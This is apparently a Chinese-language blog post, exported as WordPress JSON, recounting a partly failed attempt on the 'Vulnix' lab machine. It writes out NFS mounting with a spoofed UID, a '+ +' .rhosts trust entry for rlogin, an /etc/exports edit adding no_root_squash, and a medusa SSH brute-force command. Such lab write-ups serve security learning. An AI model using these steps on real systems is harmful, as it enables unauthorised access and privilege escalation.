![\"image-20240214174855508\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n
\u5636\uff0c\u8fd9\u91cc\u7535\u8111\u5361\u6b7b\u4e86\uff0c\u91cd\u542f\u4e00\u4e0b\u4e86\uff0c\u4f7f\u7528kali\u4e86\uff01\u65e0\u679c\uff0c\u8fd8\u662f\u9700\u8981\u5bc6\u7801\u3002\u3002\u3002\u3002<\/p>\n
\u4fee\u6539rhosts\u767b\u5f55<\/h3>\n
\u6211\u6709\u4e00\u4e2a\u60f3\u6cd5\u3002\u3002\u3002\u3002\u91cd\u65b0\u6765\uff1a<\/p>\n
sudo su\nmount -t nfs 192.168.244.183:\/home\/vulnix \/tmp\/nfs\nuseradd -u 2008 vulnix\ncd nfs\n# ls -la\necho + + > .rhosts\n# cat .rhosts\nchmod 644 .rhosts\n# new terminal\nrlogin -l vulnix 192.168.244.183<\/code><\/pre>\n<\/div><\/p>\n
\nrlogin\u8bed\u6cd5<\/p>\n
rlogin(\u9009\u9879)(\u53c2\u6570)<\/p>\n
\n- 8\uff1a\u5141\u8bb8\u8f93\u51658\u4f4d\u5b57\u7b26\u6570\u636e\uff1b<\/li>\n
- e\uff1a\u8131\u79bb\u5b57\u7b26>\uff1a\u8bbe\u7f6e\u8131\u79bb\u5b57\u7b26\uff1b<\/li>\n
- E\uff1a\u6ee4\u9664\u8131\u79bb\u5b57\u7b26\uff1b<\/li>\n
- l \uff1a\u7528\u6237\u540d\u79f0>\uff1a\u6307\u5b9a\u8981\u767b\u5165\u8fdc\u7aef\u4e3b\u673a\u7684\u7528\u6237\u540d\u79f0\uff1b<\/li>\n
- L\uff1a\u4f7f\u7528 litout \u6a21\u5f0f\u8fdb\u884c\u8fdc\u7aef\u767b\u5165\u9636\u6bb5\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n<\/blockquote>\n
\u4fee\u6539sshd\u6587\u4ef6\u5b9e\u73b0\u767b\u5f55\uff08\u5931\u8d25\uff09<\/h3>\n
\u7ecf\u8fc7\u5e08\u5085\u63d0\u70b9\uff0c\u4f7f\u7528-vvv<\/code>\u67e5\u770b\u62a5\u9519\u4fe1\u606f\uff1a<\/p>\nssh -i \/root\/.ssh\/id_rsa vulnix@192.168.244.183 -vvv<\/code><\/pre>\nOpenSSH_9.6p1 Debian-3, OpenSSL 3.1.4 24 Oct 2023\ndebug1: Reading configuration data \/etc\/ssh\/ssh_config\ndebug1: \/etc\/ssh\/ssh_config line 19: include \/etc\/ssh\/ssh_config.d\/*.conf matched no files\ndebug1: \/etc\/ssh\/ssh_config line 21: Applying options for *\ndebug2: resolve_canonicalize: hostname 192.168.244.183 is address\ndebug3: expanded UserKnownHostsFile '~\/.ssh\/known_hosts' -> '\/root\/.ssh\/known_hosts'\ndebug3: expanded UserKnownHostsFile '~\/.ssh\/known_hosts2' -> '\/root\/.ssh\/known_hosts2'\ndebug3: channel_clear_timeouts: clearing\ndebug3: ssh_connect_direct: entering\ndebug1: Connecting to 192.168.244.183 [192.168.244.183] port 22.\ndebug3: set_sock_tos: set socket 3 IP_TOS 0x10\ndebug1: Connection established.\ndebug1: identity file \/root\/.ssh\/id_rsa type 0\ndebug1: identity file \/root\/.ssh\/id_rsa-cert type -1\ndebug1: Local version string SSH-2.0-OpenSSH_9.6p1 Debian-3\ndebug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1\ndebug1: compat_banner: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH_5* compat 0x0c000002\ndebug2: fd 3 setting O_NONBLOCK\ndebug1: Authenticating to 192.168.244.183:22 as 'vulnix'\ndebug3: record_hostkey: found key type ECDSA in file \/root\/.ssh\/known_hosts:1\ndebug3: load_hostkeys_file: loaded 1 keys from 192.168.244.183\ndebug1: load_hostkeys: fopen \/root\/.ssh\/known_hosts2: No such file or directory\ndebug1: load_hostkeys: fopen \/etc\/ssh\/ssh_known_hosts: No such file or directory\ndebug1: load_hostkeys: fopen \/etc\/ssh\/ssh_known_hosts2: No such file or directory\ndebug3: order_hostkeyalgs: prefer hostkeyalgs: ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp256\ndebug3: send packet: type 20\ndebug1: SSH2_MSG_KEXINIT sent\ndebug3: receive packet: type 20\ndebug1: SSH2_MSG_KEXINIT received\ndebug2: local client KEXINIT proposal\ndebug2: KEX algorithms: sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com\ndebug2: host key algorithms: ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp256,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-ed25519,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256\ndebug2: ciphers ctos: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com\ndebug2: ciphers stoc: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com\ndebug2: MACs ctos: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1\ndebug2: MACs stoc: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1\ndebug2: compression ctos: none,zlib@openssh.com,zlib\ndebug2: compression stoc: none,zlib@openssh.com,zlib\ndebug2: languages ctos: \ndebug2: languages stoc: \ndebug2: first_kex_follows 0 \ndebug2: reserved 0 \ndebug2: peer server KEXINIT proposal\ndebug2: KEX algorithms: ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1\ndebug2: host key algorithms: ssh-rsa,ssh-dss,ecdsa-sha2-nistp256\ndebug2: ciphers ctos: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se\ndebug2: ciphers stoc: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se\ndebug2: MACs ctos: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96\ndebug2: MACs stoc: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96\ndebug2: compression ctos: none,zlib@openssh.com\ndebug2: compression stoc: none,zlib@openssh.com\ndebug2: languages ctos: \ndebug2: languages stoc: \ndebug2: first_kex_follows 0 \ndebug2: reserved 0 \ndebug1: kex: algorithm: ecdh-sha2-nistp256\ndebug1: kex: host key algorithm: ecdsa-sha2-nistp256\ndebug1: kex: server->client cipher: aes128-ctr MAC: umac-64@openssh.com compression: none\ndebug1: kex: client->server cipher: aes128-ctr MAC: umac-64@openssh.com compression: none\ndebug3: send packet: type 30\ndebug1: expecting SSH2_MSG_KEX_ECDH_REPLY\ndebug3: receive packet: type 31\ndebug1: SSH2_MSG_KEX_ECDH_REPLY received\ndebug1: Server host key: ecdsa-sha2-nistp256 SHA256:IGOuLMZRTuUvY58a8TN+ef\/1zyRCAHk0qYP4wMViOAg\ndebug3: record_hostkey: found key type ECDSA in file \/root\/.ssh\/known_hosts:1\ndebug3: load_hostkeys_file: loaded 1 keys from 192.168.244.183\ndebug1: load_hostkeys: fopen \/root\/.ssh\/known_hosts2: No such file or directory\ndebug1: load_hostkeys: fopen \/etc\/ssh\/ssh_known_hosts: No such file or directory\ndebug1: load_hostkeys: fopen \/etc\/ssh\/ssh_known_hosts2: No such file or directory\ndebug1: Host '192.168.244.183' is known and matches the ECDSA host key.\ndebug1: Found key in \/root\/.ssh\/known_hosts:1\ndebug3: send packet: type 21\ndebug2: ssh_set_newkeys: mode 1\ndebug1: rekey out after 4294967296 blocks\ndebug1: SSH2_MSG_NEWKEYS sent\ndebug1: expecting SSH2_MSG_NEWKEYS\ndebug3: receive packet: type 21\ndebug1: SSH2_MSG_NEWKEYS received\ndebug2: ssh_set_newkeys: mode 0\ndebug1: rekey in after 4294967296 blocks\ndebug3: send packet: type 5\ndebug3: receive packet: type 6\ndebug2: service_accept: ssh-userauth\ndebug1: SSH2_MSG_SERVICE_ACCEPT received\ndebug3: send packet: type 50\ndebug3: receive packet: type 51\ndebug1: Authentications that can continue: publickey,password\ndebug3: start over, passed a different list publickey,password\ndebug3: preferred gssapi-with-mic,publickey,keyboard-interactive,password\ndebug3: authmethod_lookup publickey\ndebug3: remaining preferred: keyboard-interactive,password\ndebug3: authmethod_is_enabled publickey\ndebug1: Next authentication method: publickey\ndebug1: Will attempt key: \/root\/.ssh\/id_rsa RSA SHA256:1cwdyXAdjOrfrTENyf2jZTM16y0dMplMUqt21QKvU6U explicit\ndebug2: pubkey_prepare: done\ndebug1: Offering public key: \/root\/.ssh\/id_rsa RSA SHA256:1cwdyXAdjOrfrTENyf2jZTM16y0dMplMUqt21QKvU6U explicit\ndebug1: send_pubkey_test: no mutual signature algorithm\ndebug2: we did not send a packet, disable method\ndebug3: authmethod_lookup password\ndebug3: remaining preferred: ,password\ndebug3: authmethod_is_enabled password\ndebug1: Next authentication method: password<\/code><\/pre>\n\u5bb3\uff0c\u9ebb\u4e86\uff0c\u67e5\u770b\u4e00\u4e0b\u76f8\u5173\u914d\u7f6e\uff1a<\/p>\n
grep PermitRootLogin \/etc\/ssh\/sshd_config\n# PermitRootLogin yes\n# # the setting of "PermitRootLogin prohibit-password".<\/code><\/pre>\nvim \/etc\/ssh\/sshd_config<\/code><\/pre>\n# This is the sshd server system-wide configuration file. See\n# sshd_config(5) for more information.\n\n# This sshd was compiled with PATH=\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/games\n\n# The strategy used for options in the default sshd_config shipped with\n# OpenSSH is to specify options with their default value where\n# possible, but leave them commented. Uncommented options override the\n# default value.\n\nInclude \/etc\/ssh\/sshd_config.d\/*.conf\n\n#Port 22\n#AddressFamily any\n#ListenAddress 0.0.0.0\n#ListenAddress ::\n\n#HostKey \/etc\/ssh\/ssh_host_rsa_key\n#HostKey \/etc\/ssh\/ssh_host_ecdsa_key\n#HostKey \/etc\/ssh\/ssh_host_ed25519_key\n\n# Ciphers and keying\n#RekeyLimit default none\n\n# Logging\n#SyslogFacility AUTH\n#LogLevel INFO\n\n# Authentication:\n\n#LoginGraceTime 2m\nPermitRootLogin yes\nStrictModes no\n#MaxAuthTries 6\n#MaxSessions 10\n\nRSAAuthentication yes\nPubkeyAuthentication yes\n\n# Expect .ssh\/authorized_keys2 to be disregarded by default in future.\nAuthorizedKeysFile .ssh\/authorized_keys # .ssh\/authorized_keys2\n\n#AuthorizedPrincipalsFile none\n\n#AuthorizedKeysCommand none\n#AuthorizedKeysCommandUser nobody\n\n# For this to work you will also need host keys in \/etc\/ssh\/ssh_known_hosts\n#HostbasedAuthentication no\n# Change to yes if you don't trust ~\/.ssh\/known_hosts for\n# HostbasedAuthentication\n#IgnoreUserKnownHosts no\n# Don't read the user's ~\/.rhosts and ~\/.shosts files\n#IgnoreRhosts yes\n\n# To disable tunneled clear text passwords, change to no here!\nPasswordAuthentication yes\n#PermitEmptyPasswords yes\n\n# Change to yes to enable challenge-response passwords (beware issues with\n# some PAM modules and threads)\nKbdInteractiveAuthentication no\n\n# Kerberos options\n#KerberosAuthentication no\n#KerberosOrLocalPasswd yes\n#KerberosTicketCleanup yes\n#KerberosGetAFSToken no\n\n# GSSAPI options\n#GSSAPIAuthentication no\n#GSSAPICleanupCredentials yes\n#GSSAPIStrictAcceptorCheck yes\n#GSSAPIKeyExchange no\n\n# Set this to 'yes' to enable PAM authentication, account processing,\n# and session processing. If this is enabled, PAM authentication will\n# be allowed through the KbdInteractiveAuthentication and\n# PasswordAuthentication. Depending on your PAM configuration,\n# PAM authentication via KbdInteractiveAuthentication may bypass\n# the setting of "PermitRootLogin prohibit-password".\n# If you just want the PAM account and session checks to run without\n# PAM authentication, then enable this but set PasswordAuthentication\n# and KbdInteractiveAuthentication to 'no'.\nUsePAM yes\n\n#AllowAgentForwarding yes\n#AllowTcpForwarding yes\n#GatewayPorts no\nX11Forwarding yes\n#X11DisplayOffset 10\n#X11UseLocalhost yes\n#PermitTTY yes\nPrintMotd no\n#PrintLastLog yes\n#TCPKeepAlive yes\n#PermitUserEnvironment no\n#Compression delayed\n#ClientAliveInterval 0\n#ClientAliveCountMax 3\n#UseDNS no\n#PidFile \/run\/sshd.pid\n#MaxStartups 10:30:100\n#PermitTunnel no\n#ChrootDirectory none\n#VersionAddendum none\n\n# no default banner path\n#Banner none\n\n# Allow client to pass locale environment variables\nAcceptEnv LANG LC_*\n\n# override default of no subsystems\nSubsystem sftp \/usr\/lib\/openssh\/sftp-server\n\n# Example of overriding settings on a per-user basis\n#Match User anoncvs\n# X11Forwarding no\n# AllowTcpForwarding no\n# PermitTTY no\n# ForceCommand cvs server<\/code><\/pre>\nchmod 700 \/tmp\/nfs\/.ssh\nchmod 644 \/tmp\/nfs\/.ssh\/authorized_keys \nchmod 600 \/root\/.ssh\/id_rsa\u3000\u3000\u3000<\/code><\/pre>\n\u8fd8\u662f\u8fde\u4e0d\u4e0a\uff0c\u770b\u4e00\u4e0b\u521a\u521a\u8fde\u4e0a\u7684\u90a3\u4e2a\uff1a<\/p>\n
<\/div><\/p>\n
\u8bbe\u7f6e\u7684\u662f\u53ef\u4ee5\u8fde\u4e0a\u7684\u5440\uff0c\u4f5b\u4e86\uff01<\/p>\n
\u63d0\u6743<\/h2>\n
\u67e5\u770b\u4e00\u4e0b\u7279\u6743\u6587\u4ef6\u6709\u54ea\u4e9b\uff1a<\/p>\n
sudo -l\n# Matching 'Defaults' entries for vulnix on this host:\n# env_reset, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n# User vulnix may run the following commands on this host:\n# (root) sudoedit \/etc\/exports, (root) NOPASSWD: sudoedit \/etc\/exports<\/code><\/pre>\nsudoedit \/etc\/exports\n# \/etc\/exports: the access control list for filesystems which may be exported\n# # to NFS clients. See exports(5).\n# #\n# # Example for NFSv2 and NFSv3:\n# # \/srv\/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)\n# #\n# # Example for NFSv4:\n# # \/srv\/nfs4 gss\/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)\n# # \/srv\/nfs4\/homes gss\/krb5i(rw,sync,no_subtree_check)\n# #\n# \/home\/vulnix *(rw,root_squash)<\/code><\/pre>\n\u4fee\u6539\u4e00\u4e0b\uff1a<\/p>\n
\n- Ro \u53ea\u8bfb\u6743\u9650<\/li>\n
- Rw\u8bfb\u5199\u6743\u9650<\/li>\n
- Sync\u6570\u636e\u540c\u6b65\u5199\u5165\u5185\u5b58\u786c\u76d8<\/li>\n
- no_root_squash \u8bbf\u95ee\u5171\u4eab\u76ee\u5f55\u65f6\uff0c\u7528\u6237\u5982\u679c\u662froot\u6743\u9650\uff0c\u5bf9\u5171\u4eab\u76ee\u5f55\u4e5f\u5177\u6709root\u6743\u9650\uff08\u6700\u597d\u4e0d\u8981\u8bbe\u7f6e\uff0c\u589e\u52a0\u670d\u52a1\u5b89\u5168\u9690\u60a3\uff0c\u7a0d\u540e\u518d\u63d0\uff09<\/li>\n
- root_squash \u5982\u679c\u8bbf\u95ee\u5171\u4eab\u76ee\u5f55\u662froot\u7684\u6743\u9650\u7528\u6237\uff0c\u5bf9\u5171\u4eab\u76ee\u5f55\u7684\u6743\u9650\u4f1a\u88ab\u538b\u7f29\u4e3anfsnobody\u7528\u6237\u7684\u6743<\/li>\n
- all_squash \u4e0d\u7ba1\u4f60\u8bbf\u95ee\u5171\u4eab\u76ee\u5f55\u7684\u7528\u6237\u662f\u8c01\uff0c\u90fd\u5fc5\u987b\u538b\u7f29\u4e3anfsnobody\u7528\u6237\u7684\u6743\u9650<\/li>\n<\/ul>\n
\/home\/vulnix *(rw,no_root_squash)\n\/root *(rw, no_root_squash)<\/code><\/pre>\n\u4fee\u6539\u4ee5\u540e Ctrl+O<\/code>\u4fdd\u5b58\uff0cCtrl+X<\/code>\u9000\u51fa\u3002<\/p>\n\u4fee\u6539\u4ee5\u540e\uff0c\u60f3\u8981\u751f\u6548\uff0c\u9700\u8981\u6267\u884c\u547d\u4ee4exportfs -a<\/code>\uff0c\u4f46\u662f\u8be5\u547d\u4ee4\u9700\u8981 root \u6743\u9650\u8fdb\u884c\u5b9e\u73b0\uff0c\u6240\u4ee5\u4e0d\u53ef\u884c\u3002<\/p>\n<\/div><\/p>\n
\u770b\u4e00\u4e0bsuid\u662f\u5426\u6709\u6536\u83b7\uff1a<\/p>\n
vulnix@vulnix:~$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/sbin\/mount.nfs\n\/usr\/sbin\/uuidd\n\/usr\/sbin\/pppd\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/pt_chown\n\/usr\/bin\/mtr\n\/usr\/bin\/sudo\n\/usr\/bin\/newgrp\n\/usr\/bin\/passwd\n\/usr\/bin\/chfn\n\/usr\/bin\/at\n\/usr\/bin\/sudoedit\n\/usr\/bin\/traceroute6.iputils\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chsh\n\/usr\/bin\/procmail\n\/bin\/ping6\n\/bin\/mount\n\/bin\/umount\n\/bin\/su\n\/bin\/ping\n\/bin\/fusermount<\/code><\/pre>\n\u8fd9\u91cc\u5c31\u4e0d\u5c1d\u8bd5\u5185\u6838\u6f0f\u6d1e\u4e86\uff0c\u6ca1\u5565\u610f\u601d\uff0c\u4f46\u662fsuid\u4e5f\u6ca1\u5565\u6536\u83b7\uff0c<\/p>\n
\u91cd\u542f\u63d0\u6743<\/h3>\n
\u4f5c\u8005\u6316\u7684\u5751\uff0c\u9700\u8981\u91cd\u542f\u9776\u673a\uff0c\u66f4\u65b0\u6587\u4ef6\uff0c\u5237\u65b0nfs\u670d\u52a1\u3002\u3002\u3002\u3002<\/p>\n
<\/div><\/p>\n
\u4e3a\u5565\u91cd\u542f\u4ee5\u540e\u51fa\u73b0\u4e86\u8fd9\u4e48\u4e2a\u60c5\u51b5\u3002\u3002\u3002<\/p>\n
\u540e\u9762\u5982\u679c\u6b63\u5e38\u5c31\u662f\u5c06\u516c\u94a5\u653e\u5230root<\/code>\u7684.ssh<\/code>\u76ee\u5f55\u4e2d\uff0c\u8fdb\u884c\u767b\u5f55root<\/code><\/p>\n\u4ece\u800c\u67e5\u770bflag\u3002<\/p>\n
\u989d\u5916\u6536\u83b7<\/h2>\n\u8fd9\u91cc\u6211\u770b\u5230\u6709\u5e08\u5085\u9488\u5bf9rpcbind<\/code>\uff0c\u8fdb\u884c\u4e86\u4fe1\u606f\u641c\u96c6\uff0c\u5b66\u4e60\u4e00\u4e0b\uff1a<\/h3>\nrpcinfo -p 192.168.244.183\n# program vers proto port service\n# 100000 4 tcp 111 portmapper\n# 100000 3 tcp 111 portmapper\n# 100000 2 tcp 111 portmapper\n# 100000 4 udp 111 portmapper\n# 100000 3 udp 111 portmapper\n# 100000 2 udp 111 portmapper\n# 100024 1 udp 50614 status\n# 100024 1 tcp 34576 status\n# 100003 2 tcp 2049 nfs\n# 100003 3 tcp 2049 nfs\n# 100003 4 tcp 2049 nfs\n# 100227 2 tcp 2049 nfs_acl\n# 100227 3 tcp 2049 nfs_acl\n# 100003 2 udp 2049 nfs\n# 100003 3 udp 2049 nfs\n# 100003 4 udp 2049 nfs\n# 100227 2 udp 2049 nfs_acl\n# 100227 3 udp 2049 nfs_acl\n# 100021 1 udp 39477 nlockmgr\n# 100021 3 udp 39477 nlockmgr\n# 100021 4 udp 39477 nlockmgr\n# 100021 1 tcp 34009 nlockmgr\n# 100021 3 tcp 34009 nlockmgr\n# 100021 4 tcp 34009 nlockmgr\n# 100005 1 udp 60432 mountd\n# 100005 1 tcp 38402 mountd\n# 100005 2 udp 51033 mountd\n# 100005 2 tcp 55786 mountd\n# 100005 3 udp 49887 mountd\n# 100005 3 tcp 56701 mountd<\/code><\/pre>\n\u8fd9\u91cc\u53ef\u4ee5\u786e\u5b9a NFS \u6b63\u5728\u4fa6\u542c\u7aef\u53e3 2049\/tcp \u548c 2049\/udp\u3002<\/p>\n
medusa\u7206\u7834<\/h3>\nmedusa -h 192.168.244.183 -U user.txt -P \/usr\/share\/wordlists\/rockyou.txt -e ns -f -M ssh -t 64<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"VULNIX\uff08\u5931\u8d25\uff09 \u6253\u5f00\u9776\u573a\uff1a \u5c1d\u8bd5\u626b\u63cf\uff1a sudo arp-scan -l \u8fd9\u4e48\u987a\u5229\uff1f \u6ca1\u7f51\u9875\uff1fping\u7684 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-361","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/361","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=361"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/361\/revisions"}],"predecessor-version":[{"id":362,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/361\/revisions\/362"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=361"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=361"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=361"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
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